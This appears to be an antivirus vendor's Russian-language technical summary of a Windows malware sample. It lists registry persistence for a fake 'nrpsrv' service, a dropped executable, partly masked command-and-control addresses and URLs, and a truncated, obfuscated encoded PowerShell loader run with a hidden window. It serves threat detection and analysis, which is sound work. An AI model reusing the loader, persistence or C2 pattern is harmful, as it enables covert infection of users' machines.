Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\nrpsrv] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\nrpsrv] 'ImagePath' = '"<SYSTEM32>\kernelceip\nrpsrv.exe"'
- 'nrpsrv' "<SYSTEM32>\kernelceip\nrpsrv.exe"
- 'nrpsrv' <SYSTEM32>\kernelceip\nrpsrv.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABBADYAbgBqAHEAdAA0AD0AKAAnAFQAbQAnACsAKAAnAGcAJwArACcANgBlACcAKQArACcAdQBoACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUATgB2ADoAVABlAE0AcABcAHcATwBSAEQAXAAyADAAMQA5AFwAIAAtAG...
- %TEMP%\word\2019\t6l_wggw8.exe
- <SYSTEM32>\kernelceip\nrpsrv.exe
- %TEMP%\word\2019\t6l_wggw8.exe в <SYSTEM32>\kernelceip\nrpsrv.exe
- '21#.#0.40.16':80
- '91.##1.54.71':8080
- http://ka####i-hermes.com/cgi-bin/8/
- http://91.###.54.71:8080/Uq4Ou1yTU/lgjlGfR5VRlgSamZ8/ via 91.##1.54.71
- DNS ASK ka####i-hermes.com
- '%TEMP%\word\2019\t6l_wggw8.exe'
- '<SYSTEM32>\kernelceip\nrpsrv.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABBADYAbgBqAHEAdAA0AD0AKAAnAFQAbQAnACsAKAAnAGcAJwArACcANgBlACcAKQArACcAdQBoACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUATgB2ADoAVABlAE0AcABcAHcATwBSAEQAXAAyADAAMQA5AFwAIAAtAG...' (со скрытым окном)